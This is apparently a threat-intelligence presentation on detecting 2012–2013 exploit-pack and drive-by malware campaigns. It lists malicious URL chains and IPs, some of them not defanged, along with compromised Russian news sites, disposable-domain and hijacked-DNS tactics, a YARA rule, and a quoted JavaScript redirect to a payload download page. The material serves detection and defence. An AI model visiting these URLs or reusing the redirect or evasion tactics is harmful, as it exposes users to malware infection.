<td>/kill/larger_emergency.php?tf=1g:1k:1j:1i&amp;de=2v:1l:30:1n:1m:1m:30:1g:2v:1f&amp;m=1f&amp;yv=w&amp;vj=i&amp;jopa=3402016</td>
<td>200</td>
<td>application/x-msdownload</td>
</tr>
<tr>
<td>72.251.206.90:8080</td>
<td>/0qHY8BAA/7ZymMBA/PR5fIDAAAAA/</td>
<td>3,376</td>
<td>text/html</td>
</tr>
<tr>
<td>141.219.153.206:8080</td>
<td>/0qHY8BAA/7ZymMBA/PR5fIDAAAAA/</td>
<td>3,376</td>
<td>no-cache</td>
</tr>
<tr>
<td>rockbandsongs.net</td>
<td>/kill/larger_emergency.php?qoper=1g:1j:1k:1i&amp;vrpzmu=3d:2w:36&amp;zjl=2v:1l:30:1n:1m:1m:30:1g:2v:1f&amp;thb=1m:1d:1f:1d:1k:1d:1g:1m:1h</td>
<td>200</td>
<td>application/pdf</td>
</tr>
<tr>
<td>bbc.co.uk</td>
<td>/</td>
<td>220</td>
<td>text/html; charset=iso-8859-1</td>
</tr>
</tbody>
</table>
Exploit Packs
- Detection -
Detecting exploit packs: approaches

- How: By typical chains in your logs
- Look for more than one attack vector from the same resource as an indicator
- By typical file names: for example inseo.pdf
- By typical URLs
- Exploit snippets: net.class, gmail.class, and so on
- Looking for generic exploit components inside payload
- Picking up suspicious user agents and application type (octed-stream, java agent)
## Typical chains of exploit packs

<table>
<thead>
<tr>
<th>URL (Blackhole 2, Mar 2013)</th>
<th>Application type</th>
</tr>
</thead>
<tbody>
<tr>
<td>65.75.144.207/9f5090afabfb40cdd70a5e63064b21a7/q.php</td>
<td>text/html; charset=UTF-8</td>
</tr>
<tr>
<td>65.75.144.207/9f5090afabfb40cdd70a5e63064b21a7/q.php?nemrbz=psbg&amp;sipgik=nupatq</td>
<td>Application/java-archive</td>
</tr>
<tr>
<td>65.75.144.207/9f5090afabfb40cdd70a5e63064b21a7/9f5090afabfb40cdd70a5e63064b21a7/q.php?jf=1k:1i:1k:2v:1o&amp;ie=1g:1n:32:33:1n:1n:1n:2v:31:1o&amp;b=1f&amp;sd=p&amp;wy=h&amp;jopa=4656855</td>
<td>Application/x-msdownload</td>
</tr>
</tbody>
</table>
### Longer chain (??sploit pack, Sep 2012)

<table>
<thead>
<tr>
<th>URL</th>
<th>Content-Type</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>http://serzscd.servebbs.net/go.php?id=5105&amp;ip=91.227.184.11&amp;session=474a143d42371858e95d&amp;br=ie</code></td>
<td><code>text/html; charset=UTF-8</code></td>
</tr>
<tr>
<td><code>http://serzscd.servebbs.net/start.php?id=5105&amp;session=474a143d42371858e95d&amp;ip=91.227.184.11</code></td>
<td><code>text/html; charset=UTF-8</code></td>
</tr>
<tr>
<td><code>http://serzscd.servebbs.net/counter.swf</code></td>
<td><code>application/x-shockwave-flash</code></td>
</tr>
<tr>
<td><code>http://serzscd.servebbs.net/apolo.php</code></td>
<td><code>text/html; charset=UTF-8</code></td>
</tr>
<tr>
<td><code>http://kkmahrfl.begin-dog-iwxt-umncfy.org/4ff83063f08d249725000001/4ff883f5ef373e8042000005/</code></td>
<td><code>text/html; charset=utf-8</code></td>
</tr>
<tr>
<td><code>http://kkmahrfl.begin-dog-iwxt-umncfy.org/4ff83063f08d249725000001/4ff883f5ef373e8042000005/505c53b5a74765547400526bGnullG9,2,0,0</code></td>
<td><code>text/html; charset=utf-8</code></td>
</tr>
<tr>
<td><code>http://kkmahrfl.begin-dog-iwxt-umncfy.org/4ff83063f08d249725000001/4ff883f5ef373e8042000005/505c53b7a74765547400526bGnullG9,2,0,0</code></td>
<td><code>application/pdf</code></td>
</tr>
<tr>
<td><code>http://kkmahrfl.begin-dog-iwxt-umncfy.org/4ff83063f08d249725000001/4ff883f5ef373e8042000005/505c53b7a74765547400526bGnullG9,2,0,0</code></td>
<td><code>application/octet-stream</code></td>
</tr>
<tr>
<td><code>http://kkmahrfl.begin-dog-iwxt-umncfy.org/4ff83063f08d249725000001/4ff883f5ef373e8042000005/505c53b7a74765547400526bGnullG9,2,0,0</code></td>
<td><code>text/html (loaded successfully)</code></td>
</tr>
</tbody>
</table>
More than one attack vector from

<table>
<thead>
<tr>
<th>Date</th>
<th>URL</th>
<th>Content Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>1/31/2013</td>
<td><a href="http://129.121.101.49/ff675d4b242669de697f6a1a7428d191/q.php">http://129.121.101.49/ff675d4b242669de697f6a1a7428d191/q.php</a></td>
<td>text/html</td>
</tr>
<tr>
<td>1/31/2013</td>
<td><a href="http://129.121.101.49/ff675d4b242669de697f6a1a7428d191/q.php?bmkfbw=1k:1i:1k:2v:1o&amp;exirrv=3d&amp;rkfajmn=1g:1n:32:33:1n:1n:1n:2v:31:1o&amp;cesnio=1n:1d:1g:1d:1h:1d:1f">http://129.121.101.49/ff675d4b242669de697f6a1a7428d191/q.php?bmkfbw=1k:1i:1k:2v:1o&amp;exirrv=3d&amp;rkfajmn=1g:1n:32:33:1n:1n:1n:2v:31:1o&amp;cesnio=1n:1d:1g:1d:1h:1d:1f</a></td>
<td>application/pdf</td>
</tr>
<tr>
<td>1/31/2013</td>
<td><a href="http://129.121.101.49/ff675d4b242669de697f6a1a7428d191/q.php?rhihgaw=ibfhs&amp;apu=dycb">http://129.121.101.49/ff675d4b242669de697f6a1a7428d191/q.php?rhihgaw=ibfhs&amp;apu=dycb</a></td>
<td>application/java-archive</td>
</tr>
<tr>
<td>1/31/2013</td>
<td><a href="http://129.121.101.49/ff675d4b242669de697f6a1a7428d191/q.php?jf=1k:1i:1k:2v:1o&amp;ye=1g:1n:32:33:1n:1n:1n:2v:31:1o&amp;e=1f&amp;um=b&amp;va=b">http://129.121.101.49/ff675d4b242669de697f6a1a7428d191/q.php?jf=1k:1i:1k:2v:1o&amp;ye=1g:1n:32:33:1n:1n:1n:2v:31:1o&amp;e=1f&amp;um=b&amp;va=b</a></td>
<td>application/x-msdownload</td>
</tr>
<tr>
<td>1/31/2013</td>
<td><a href="http://129.121.101.49/ff675d4b242669de697f6a1a7428d191/q.php?ynyxykhm=1k:1i:1k:2v:1o&amp;kzez=1g:1n:32:33:1n:1n:1n:2v:31:1o&amp;ojplot=1i&amp;kyibn=tbv&amp;unqz=mcgwp">http://129.121.101.49/ff675d4b242669de697f6a1a7428d191/q.php?ynyxykhm=1k:1i:1k:2v:1o&amp;kzez=1g:1n:32:33:1n:1n:1n:2v:31:1o&amp;ojplot=1i&amp;kyibn=tbv&amp;unqz=mcgwp</a></td>
<td>application/x-msdownload</td>
</tr>
</tbody>
</table>
Does anyone know mentioned case??

The injected HTML iframe tag is usually constructed as IP address/hex/q.php. Sites that deliver such iframes that aren't visible within the HTML source are likely compromised by Darkleech. Special "regular expression" searches such as this one helped Landesman ferret out reported iframes used in these attacks. Note that while the iframe reference is formed as IP/hex/q.php, the malware delivery is formed as IP/hex/hex/q.php.

2012-12-24 08:39
hxpx://108.165.25.119/34865412a4128d4f1ebaf9ad8f2ac412/q.php

14.01.2013 9:56
hxpx://129.121.88.108/b3aa76a54b00fd803337aab97a0c09e9/q.php

12.02.2013 10:35
hxpx://149.47.142.193/d0c1614e79a22e16cc1404ba3420f469/q.php

Mar 19, landing from hxxp://www.hotelduchampdemars.com/
19.03.2013 16:09
hxpx://129.121.128.249/30cdfca10f74f5b3da51700ba9e135e2/q.php
Exclusive: Ongoing malware attack targeting Apache hijacks 20,000 sites

Mysterious "Darkleech" exposes visitors to potent malware exploits.

by Dan Goodin - Apr 2 2013, 7:15pm MSK

In active development

With the help of Cisco Security Engineer Gregg Conklin, Landesman observed Darkleech infections on almost 2,000 Web host servers during the month of February and the first two weeks of March. The servers were located in 48 countries, with the highest concentrations in the US, UK, and Germany. Assuming the typical webserver involved hosted an average of 10 sites, that leaves the possibility that 20,000 sites were infected over that period. The attacks were documented as early as August on researcher Denis Sinegubko's Unmask Parasites blog. They were observed infecting the LA Times website in February and the blog of hard drive manufacturer Seagate last month, an indication the attacks are ongoing. Landesman said the Seagate infection affected media.seagate.com, which was hosted by Media Temple, began no later than February 12, and was active through March 18. Representatives for both Seagate and the LA Times said the sites were disinfected once the compromises came to light.

Gimme some fresh exploit

0 day 1.7u10 (**CVE-2013-0422**) spotted in the **Wild** - Disable Java ...
malware.dontneedcoffee.com/2013/.../0-day-17u10-spotted-in...

Jan 10, 2013 – 0 day 1.7u10 (**CVE-2013-0422**) spotted in the **Wild** - Disable Java Plugin NOW! Was wondering what to do with that... Disclose, do not Disclose ...

<table>
<thead>
<tr>
<th>Date</th>
<th>IP Address</th>
<th>URL</th>
<th>Content Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>1/14/2013</td>
<td>178.238.141.19</td>
<td><a href="http://machete0-yhis.me/pictures/demos/OAggq">http://machete0-yhis.me/pictures/demos/OAggq</a></td>
<td>application/x-java-archive</td>
</tr>
<tr>
<td>1/14/2013</td>
<td>178.238.141.19</td>
<td><a href="http://machete0-yhis.me/pictures/demos/OAggq">http://machete0-yhis.me/pictures/demos/OAggq</a></td>
<td>application/x-java-archive</td>
</tr>
</tbody>
</table>
And AV vendor says...

23.01.13 19:56  Detected: **Trojan-Spy.Win32.Zbot.aymr**
C:/Documents and Settings/user1/Application Data/
Sun/Java/Deployment/cache/6.0/27/4169865b-641d53c9/UPX

23.01.13 19:56  Detected: **Trojan-Downloader.Java.OpenConnection.ck**
C:/Documents and Settings/user1/Application Data/
Sun/Java/Deployment/cache/6.0/48/38388f30-4a676b87/bpac/b.class

23.01.13 19:56  Detected: **Trojan-Downloader.Java.OpenConnection.cs**
C:/Documents and Settings/user1/Application Data/
Sun/Java/Deployment/cache/6.0/48/38388f30-4a676b87/ot/pizdi.class

C:/Documents and Settings/user1/Local Settings/
Temp/jar_cache3538799837370652468.tmp
<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>URL</th>
<th>IP Address</th>
<th>Port</th>
<th>URL</th>
</tr>
</thead>
</table>
## Typical filenames

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>URL</th>
<th>File</th>
</tr>
</thead>
<tbody>
<tr>
<td>2012-08-03</td>
<td>11:27:54</td>
<td>hxxp://lctputevnmve.from-sortrgt-bcrv-vsml.org/4ff83063f08d24972500000001/4ff883f5ef373e80420000005/501b7d0d4f340eaa33012c70/30491834/</td>
<td>inseo.pdf</td>
</tr>
<tr>
<td>8/7/2012</td>
<td>14:52</td>
<td>hxxp://upydnyxhs.black-footballlyfyx-vlizvs.org/4ffa973cf08d249725000003/4ffabc51ebf5ff0c520000013/5020f2e6404b9b4436000f5ad/1495394/</td>
<td>jingo.jar</td>
</tr>
<tr>
<td>9/10/2012</td>
<td>17:01</td>
<td>hxxp://shwohtwk.stringgenerationbeflyzg-zvm.org/50178a97454999b1790000005/50178c932ef21956040000030/504de476b00c1a27790f093c/30491834/</td>
<td>iAAnseo.pdf</td>
</tr>
<tr>
<td>9/10/2012</td>
<td>17:26</td>
<td>hxxp://sklnigvfh.money-middle-orm-uknaxxbgb.org/4ffd323cf08d249725000004/5019600d2ef21956040000037/504dea26b00c1a27790f4a71/25830392/</td>
<td>jAAingo.jar</td>
</tr>
<tr>
<td>9/24/2012</td>
<td>18:01</td>
<td>hxxp://qkzogvebqppqclblack-footballllcuq-sles-pyhu.org/4ffa973cf08d249725000003/4ffabc21ebf5ff0c52000012/506067b345db2b8602036136/48492345/</td>
<td>dAAocum.pdf</td>
</tr>
<tr>
<td>9/25/2012</td>
<td>14:02</td>
<td>hxxp://inthxbxorib.orange-ansi-fclx-aygy-nakx.org/4ff973cf08d249725000003/4ffabc1ebf5ff0c52000015/506184945db2b86021a966b/1495394/</td>
<td>jAA2ingo.jar</td>
</tr>
<tr>
<td>10/16/2012</td>
<td>10:23</td>
<td>hxxp://rqbakkkwgtkws.shortcuts-vipiqmcaawgc-vnm.org/4ff83063f08d249725000001/4ff883f5ef373e80420000005/507cfd7a31fdb54c3c034529/30491834/</td>
<td>iAAnseo.pdf</td>
</tr>
<tr>
<td>10/17/2012</td>
<td>13:18</td>
<td>hxxp://zzsmcussr.notepad-linesleyf-glp-czf.org/4ff83063f08d249725000001/4ff883f5ef373e80420000005/507e780831fdb54c3c7c24a1/1495394/</td>
<td>jAA2ingo.jar</td>
</tr>
<tr>
<td>10/17/2012</td>
<td>17:34</td>
<td>hxxp://scared-regimecemetery.dzz-myopixpneyefekqctkdyerlxanalyzeresriy.org/507eb3a9c05d80204800030d/30491834/</td>
<td>onsero.pdf</td>
</tr>
<tr>
<td>2012-10-30</td>
<td>14:40:49</td>
<td>hxxp://xzw-orphanagesboageszz.snobnqidizchxwggseolimmortalcquk.org/508fa3a31892c2e7d0ac9bb/30491834/</td>
<td>onsero.pdf</td>
</tr>
</tbody>
</table>
More info about this Campaign

- use of **domains with extremely short lifetime** (domain blacklisting doesn't work here)
- frequent changes of hosting ip addresses (2 times/day, explicit IP blacklisting doesn't work here)
- different methods of traffic redirection
  - Iframe redirection
  - ad. network simulation
  - SMS paid services (genealogical archives, fake av updates, horoscopes, etc)
- preliminary collection of the target system information (OS/Browser version)
Short-term and disposable domain names

Frequently used domains:
abrmbzikxltvh.lines-arrayirs-frgccad.org

Randomly generated

Dictionary-based generation

also:
zkimpacts-mobilized.analoguesoqcircula-hrgvredeemabletgpq.org

Dictionary based

Dictionary based generation

Other things to notice:
- IP addresses are usually located within the same subnet
- IP addresses change every 12 hours (incrementally)
- subnets change monthly
- whois information disappears right after domain disposal (domains on trial)
Affected by this malware campaign:

dominospizza.ru -->
qakmwkqdhybpc.give-from-gzi-bgqi-ranb.org

peoples.ru -->
sklnigvfh.money-middle-orm-ukna-xbgb.org

f1news.ru -->
xdqospocepx.panel-book-tzha-uekydttf.org

euro-football.ru -->
ofbgplmx.manager-vipufpncztf-nezp.org

gotovim.ru -->
cstermbktwelnv.cat-email-ceepgm-mfm.org

sroot@thebox:~$ whois cstermbktwelnv.cat-email-ceepgm-mfm.org
NOT FOUND
Whois fastflux ;-

• WHOIS fastflux ... HOW?!

Domain ID:D166393631-LROR
Domain Name:FOOTBALL-SECURITY-WETRLSGPIEO.ORG
Created On:21-Aug-2012 01:23:52 UTC
Last Updated On:21-Aug-2012 01:23:53 UTC
Expiration Date:21-Aug-2013 01:23:52 UTC
Sponsoring Registrar:Click Registrar, Inc. d/b/a publicdomainregistry.com (R1935-LROR)
Status:CLIENT TRANSFER PROHIBITED
Status:TRANSFER PROHIBITED
Status:ADDPERIOD
Registrant ID:PP-SP-001
Registrant Name:Domain Admin
Registrant Organization:PrivacyProtect.org
Registrant Street1:ID#10760, PO Box 16
Registrant Street2:Note - All Postal Mails Rejected, visit Privacyprotect.org
Registrant Country:AU
Registrant Phone:+45.36946676
Words distribution (len >3) in domain names
Examples of affected websites

www.aptekaonline.ru

www.autoreview.ru

www.apt...
More examples
Dynamically generated URLs. Old style

Entry request:
http://whtgevsmddpiue.socks-information-zffmagvonv.org/4ffa973cf08d249725000003/50011735362caad364000023/

OS/browser version information (Leaks some information before compromise):
http://whtgevsmddpiue.socks-information-zffmagvonv.org/4ffa973cf08d249725000003/50011735362caad364000023/
50601014edaf66917d1c47d2G1,6,0,30G10,1,0,0

Exploit execution:
http://whtgevsmddpiue.socks-information-zffmagvonv.org/4ffa973cf08d249725000003/50011735362caad364000023/
50601016edaf66917d1c4831/1495394/jAA2ingo.jar

Upon successful exploitation, payload is fetched:
http://whtgevsmddpiue.socks-information-zffmagvonv.org/4ffa973cf08d249725000003/50011735362caad364000023/
50601016edaf66917d1c4831/1495394/1196140
Dynamically generated URLs, “new style”

Initial request:
http://ksizxbabahgdzxhlunu.conservatism-xrplsubmitshebm.org/officiallyracer-unbelievably.htm

OS/browser information fetching and exploit selection:
http://ksizxbabahgdzxhlunu.conservatism-xrplsubmitshebm.org/508fb5a331892c2e7d0be70b/1,6,0,21/10,1,0,0/for umax244.php

Exploit:
http://ksizxbabahgdzxhlunu.conservatism-xrplsubmitshebm.org/508fb5a731892c2e7d0be7a6/1495394/kinopo.jar

payload loaded upon successful exploitation:
http://ksizxbabahgdzxhlunu.conservatism-xrplsubmitshebm.org/508fb5a731892c2e7d0be7a6/1495394/1863721
## Typical URLs (Fileless bot)

<table>
<thead>
<tr>
<th>Date</th>
<th>URL</th>
<th>IP Address</th>
<th>Malicious Domain</th>
</tr>
</thead>
<tbody>
<tr>
<td>8/27/2012 16:07</td>
<td>hxxp://newsru.com/</td>
<td>207.182.136.150</td>
<td>hxxp://midsizedstumped.pro/2T4T</td>
</tr>
<tr>
<td>9/10/2012 16:25</td>
<td>hxxp://www.newsru.ru/</td>
<td>184.22.165.170</td>
<td>hxxp://pseriesaccused.net/7GIC</td>
</tr>
<tr>
<td>10/12/2012 13:36</td>
<td>hxxp://www.vesti.ru/videos?cid=8</td>
<td>91.121.152.84</td>
<td>hxxp://personallymainframes.net/7GIC</td>
</tr>
<tr>
<td>11/22/2012 12:01</td>
<td>hxxp://mh6.adriver.ru/images/0002080/00020..</td>
<td>64.79.64.170</td>
<td>hxxp://aeswephost.info/7GIC</td>
</tr>
<tr>
<td>12/7/2012 13:17</td>
<td>hxxp://www.vesti.ru/doc.html?id=959442&amp;cid=2161</td>
<td>206.225.27.11</td>
<td>hxxp://iprintlistmaking.pro/7GIC</td>
</tr>
<tr>
<td>1/24/2013 14:38</td>
<td>hxxp://www.vesti.ru/doc.html?id=1012731#1</td>
<td>64.79.67.220</td>
<td>hxxp://zagglassers.info/ISOQ</td>
</tr>
<tr>
<td>2013-03-01 15:05:59.013</td>
<td>hxxp://newsru.com</td>
<td>208.110.73.75</td>
<td>hxxp://erasads.info/XZAH</td>
</tr>
</tbody>
</table>
glavbukh.ru, tks.ru, etc. May 2012

:arg      hl=us&source=hp&q=-1785331712&aq=f&aqi=&aql=&oq=
Drive-by newsru.com ver. Sept 2012

Domains on Sep 11 2012

- newsru.com
  - tomatoesdaunting.net/7G/C
    - IP: 184.22.165.170
  - tomatoesdaunting.net/07GICdq
    - IP: 184.22.165.170
  - tomatoesdaunting.net/07GICjg
    - IP: 184.22.165.170
  - socialisminsite.org/17GICjg
    - IP: 184.22.165.170

- Not Bot
  - html
  - java-archive
  - octet-stream

- zigging62z.com
  - IP: 64.79.71.45
- gratuity31t.com
  - IP: 64.79.71.44

HTTP POST, GET
No timeout

BOT
## Campaign participants

<table>
<thead>
<tr>
<th>Domain</th>
<th>Resource type</th>
<th>When seen</th>
<th>unique hosts per day</th>
</tr>
</thead>
<tbody>
<tr>
<td>Vesti.ru</td>
<td>TV news</td>
<td>Autumn 2012-Winter 2013</td>
<td>~ 930 000</td>
</tr>
<tr>
<td>RIA.ru</td>
<td>news</td>
<td>Autumn 2011 – Summer 2012</td>
<td>~530 000</td>
</tr>
<tr>
<td>gazeta.ru</td>
<td>news</td>
<td>Winter 2012-Autumn 2012</td>
<td>~490 000</td>
</tr>
<tr>
<td>newsru.com</td>
<td>news</td>
<td>Spring 2012 - Winter 2013</td>
<td>~470 000</td>
</tr>
<tr>
<td>echo.msk.ru</td>
<td>radio</td>
<td>Autumn 2012</td>
<td>~440 000</td>
</tr>
<tr>
<td>3DNews.ru</td>
<td>news</td>
<td>Summer 2012 – Winter 2013</td>
<td>~180 000</td>
</tr>
<tr>
<td>inosmi.ru</td>
<td>news</td>
<td>Autumn 2011 – Summer 2012</td>
<td>115 000</td>
</tr>
<tr>
<td>glavbukh.ru</td>
<td>Accountants</td>
<td>Winter 2012-Winter 2013</td>
<td>~45 000</td>
</tr>
<tr>
<td>tks.ru</td>
<td>Finance</td>
<td>Winter 2012-Winter 2013</td>
<td>~23 000</td>
</tr>
</tbody>
</table>
## Background noise (exploit pack snippets) July 2012

<table>
<thead>
<tr>
<th>Date</th>
<th>IP Address</th>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td>12/7/2012 10:41</td>
<td>151.248.115.137</td>
<td>hxxp://users.nalog-tax.info/x/3fa91b6baa018479e6bf7bd589829367.jar</td>
</tr>
<tr>
<td>12/7/2012 10:41</td>
<td>151.248.115.137</td>
<td>hxxp://users.nalog-tax.info/sapes/1/809fc17e1cf9fbd5c559913863148189/com.class</td>
</tr>
<tr>
<td>12/7/2012 10:41</td>
<td>151.248.115.137</td>
<td>hxxp://users.nalog-tax.info/sapes/1/809fc17e1cf9fbd5c559913863148189/edu.class</td>
</tr>
<tr>
<td>12/7/2012 10:41</td>
<td>151.248.115.137</td>
<td>hxxp://users.nalog-tax.info/sapes/1/809fc17e1cf9fbd5c559913863148189/net.class</td>
</tr>
<tr>
<td>12/7/2012 10:41</td>
<td>151.248.115.137</td>
<td>hxxp://users.nalog-tax.info/sapes/1/809fc17e1cf9fbd5c559913863148189/org.class</td>
</tr>
<tr>
<td>2012-12-07 10:41</td>
<td>151.248.115.137</td>
<td>hxxp://users.nalog-tax.info/sapes/1/809fc17e1cf9fbd5c559913863148189/a.class</td>
</tr>
<tr>
<td>Date</td>
<td>IP Address</td>
<td>URL Description</td>
</tr>
<tr>
<td>------------</td>
<td>-----------------</td>
<td>----------------------------------------------</td>
</tr>
<tr>
<td>17.01.2013</td>
<td>151.248.118.68</td>
<td><code>hxxp://chapter04.bank-soft.info/</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>/x/74377d39a14577b95e45ee3e653f0e72.jar</code></td>
</tr>
<tr>
<td>17.01.2013</td>
<td>151.248.118.68</td>
<td><code>hxxp://chapter04.bank-soft.info/sapes/</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>/1/458152a28371d4c36c9f969c5718745e/com.class</code></td>
</tr>
<tr>
<td>17.01.2013</td>
<td>151.248.118.68</td>
<td><code>hxxp://chapter04.bank-soft.info/sapes/</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>/1/458152a28371d4c36c9f969c5718745e/edu.class</code></td>
</tr>
<tr>
<td>17.01.2013</td>
<td>151.248.118.68</td>
<td><code>hxxp://chapter04.bank-soft.info/sapes/</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>/1/458152a28371d4c36c9f969c5718745e/net.class</code></td>
</tr>
<tr>
<td>17.01.2013</td>
<td>151.248.118.68</td>
<td><code>hxxp://chapter04.bank-soft.info/sapes/</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>/1/458152a28371d4c36c9f969c5718745e/org.class</code></td>
</tr>
<tr>
<td>17.01.2013</td>
<td>151.248.118.68</td>
<td><code>hxxp://chapter04.bank-soft.info/sapes/</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>/1/458152a28371d4c36c9f969c5718745e/</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>java/security/class</code></td>
</tr>
<tr>
<td>17.01.2013</td>
<td>151.248.118.68</td>
<td><code>hxxp://chapter04.bank-soft.info/sapes/</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>/1/458152a28371d4c36c9f969c5718745e/</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>java/security/cert.class</code></td>
</tr>
<tr>
<td>Suspicious application types</td>
<td></td>
<td></td>
</tr>
<tr>
<td>-------------------------------</td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>Mozilla/4.0 (Windows XP 5.1)</strong></td>
<td>12/7/2012 10:41</td>
<td>151.248.115.137</td>
</tr>
<tr>
<td><strong>Java/1.6.0 26</strong></td>
<td>9/24/2012 12:13</td>
<td>78.46.254.21</td>
</tr>
<tr>
<td><strong>Mozilla/4.0 (Windows 7 6.1)</strong></td>
<td>1/17/2013 15:03</td>
<td>151.248.118.68</td>
</tr>
<tr>
<td><strong>Java/1.6.0 31</strong></td>
<td>3/15/2013 13:27</td>
<td>151.248.122.161</td>
</tr>
<tr>
<td><strong>Mozilla/4.0 (Windows 7 6.1)</strong></td>
<td>3/15/2013 13:27</td>
<td>151.248.122.161</td>
</tr>
<tr>
<td><strong>Java/1.6.0 31</strong></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Detecting typical fields inside payload

- For example (YARA):

```plaintext
Rule SploitMatcher {
  strings:
    $match01 = "com.class"
    $match02 = "edu.class"
    $match03 = "net.class"
    $match04 = "security.class"
  condition:
    all of them
}
```

Problem: you can't deobfuscate javascript with Yara. But you can block the payload, Which would be fetched by the javascript, thus break the exploitation chain.
Or you can **roll your own**.. personal crawler with yara and jsonunpack :) see the code example in
Not a typical chain, payload in jar, the same exploit pack feb 2013

SHA256: 16637c34955683470465193a497c087ed9027b66ed1b53aa621028299a008ee4

File name: amigos.class

Detection ratio: 0 / 45

Analysis date: 2013-03-20 18:21:01 UTC (1 minute ago)
Compromised DNS servers, domains reputation doesn't work

Legitimate domains are compromised

Compromised DNS is used to generate sub domains, which are used in malicious campaign
Stolen domains, example:

<table>
<thead>
<tr>
<th>Time</th>
<th>URL</th>
<th>IP</th>
</tr>
</thead>
<tbody>
<tr>
<td>24/Jan/2012:19:00:18</td>
<td>GET <a href="http://csrv2.fatdiary.org/content/field.swf">http://csrv2.fatdiary.org/content/field.swf</a> HTTP/1.0</td>
<td>146.185.242.69</td>
</tr>
<tr>
<td>25/Jan/2012:09:36:44</td>
<td>GET <a href="http://csrv15.amurt.org.uk/content/field.swf">http://csrv15.amurt.org.uk/content/field.swf</a></td>
<td>146.185.242.69</td>
</tr>
<tr>
<td>25/Jan/2012:09:36:45</td>
<td>GET <a href="http://csrv15.amurt.org.uk/content/v1.jar">http://csrv15.amurt.org.uk/content/v1.jar</a></td>
<td>146.185.242.69</td>
</tr>
<tr>
<td>25/Jan/2012:09:36:48</td>
<td>GET <a href="http://csrv15.amurt.org.uk/w.php?f=17%26e=0">http://csrv15.amurt.org.uk/w.php?f=17%26e=0</a></td>
<td>146.185.242.69</td>
</tr>
<tr>
<td>31/Jan/2012:10:27:47</td>
<td>GET <a href="http://csrv24.air-bagan.org/content/rino.jar">http://csrv24.air-bagan.org/content/rino.jar</a></td>
<td>146.185.242.79</td>
</tr>
<tr>
<td>31/Jan/2012:18:19:03</td>
<td>GET <a href="http://csrv35.air-bagan.org/getJavaInfo.jar">http://csrv35.air-bagan.org/getJavaInfo.jar</a></td>
<td>146.185.242.79</td>
</tr>
<tr>
<td>04/Feb/2012:12:02:51</td>
<td>GET <a href="http://csrv29.prawda2.info/main.php?page=7a5a09bea4d91836">http://csrv29.prawda2.info/main.php?page=7a5a09bea4d91836</a></td>
<td>146.185.242.79</td>
</tr>
<tr>
<td>06/Feb/2012:09:08:51</td>
<td>GET <a href="http://csrv89.prawda2.info/main.php?page=7a5a09bea4d91836">http://csrv89.prawda2.info/main.php?page=7a5a09bea4d91836</a></td>
<td>146.185.242.79</td>
</tr>
</tbody>
</table>
The same nameserver


Name servers: ns1.afraid.org

**air-bagan.org** 122.155.190.31 Created On:05-Aug-2006

Name Server:NS1.AFRAID.ORG

**fatdiary.org** 71.237.151.22 Created On:17-Jul-2006

Name Server:NS1.AFRAID.ORG


Name Server:NS1.AFRAID.ORG
Malicious domains reputation and compromised DNS accounts

- Starting from August 2012 we detect second wave of this campaign, be careful, examples Sep 2012
  - alex01.net -> 46.39.237.81 >>>
    games.alex01.net -> 178.162.132.178
  - socceradventure.net 72.8.150.14 >>>
    mobilki.socceradventure.net -> 178.162.132.178
  - talleresnahuel.com 74.54.202.162 >>>
    kino.talleresnahuel.com -> 178.162.132.178
  - qultivator.se 72.8.150.15 >>>
    597821.qultivator.se -> 178.162.132.166
Fake Fileshares are dangerous

Specifics:
- simulation of filesharing website
- real domain is used for SEO (search engine feeds return content within this domain at high positions)
- cookies are used to “serve once per IP”
- page content is generated automatically
Legit domain (Mar 2013), registered in 2007, but
P0wned... (reputation doesn't works)

<table>
<thead>
<tr>
<th>referrer</th>
<th>IP</th>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://yandex.ru/yandsearch?text=%D1%81%D0%BF%D1%80%D0%B0%25">http://yandex.ru/yandsearch?text=%D1%81%D0%BF%D1%80%D0%B0%</a>..</td>
<td>112.78.2.11</td>
<td><a href="http://www.manhbacson.com/load/download/blank-spravka-o-balansovoy-stoimosti-3d.php">http://www.manhbacson.com/load/download/blank-spravka-o-balansovoy-stoimosti-3d.php</a></td>
</tr>
<tr>
<td><a href="http://www.manhbacson.com/load/download/blank-spravka-o-balansovoy-stoimosti-3d.php">http://www.manhbacson.com/load/download/blank-spravka-o-balansovoy-stoimosti-3d.php</a></td>
<td>62.75.182.222</td>
<td><a href="http://id000222.info/?2&amp;keyword=%25D1%2581%25D0%25D0%25B0%25">http://id000222.info/?2&amp;keyword=%25D1%2581%25D0%25D0%25B0%</a>..</td>
</tr>
</tbody>
</table>
Real domains are used

Site: alldistributors.ru

URL on the same site: alldistributors.ru/image/
Search Engine Optimization

High position in Yandex results
Payload loaded via social engineering trick

File name generated to match your search engine request

function admin_fuck(key)
{
    var url = 'http://alldaymedia.ru/fileserver/search.php?search=1&query=' + key;
    var what = new Array('aanieaoii', 'nea?aou');
    var by = new Array('', '');

    for (var i=0; i < what.length; i++) {
        url = url.replace(what[i], by[i]);
    }
    window.location = url;
}
Cookie

File downloaded only once. After cookie is set a redirect to a page, which shows content that asks for a fee to be paid via SMS.
Not typical IP address
Mar 2013

14.03.2013 13:13
   ->  GET hxxp://0.0.0.0/

14.03.2013 13:21
   ->  GET hxxp://0.0.0.0/

15.03.2013 10:53
hxxp://ec.europa.eu/energy/international/bilateral_cooperation/russia/russia_en.htm
   ->  GET hxxp://0.0.0.0/
Not typical IP address

Mar 20 2013
Encoded IP address
(Netprotocol.exe example)

- Bot Infection was: Drive-By-FTP,
  now: Drive-By-FTP, Drive-By-HTTP
- Payload and intermediate malware domains: Normal, Obfuscated
- Distributed via: compromised web-sites
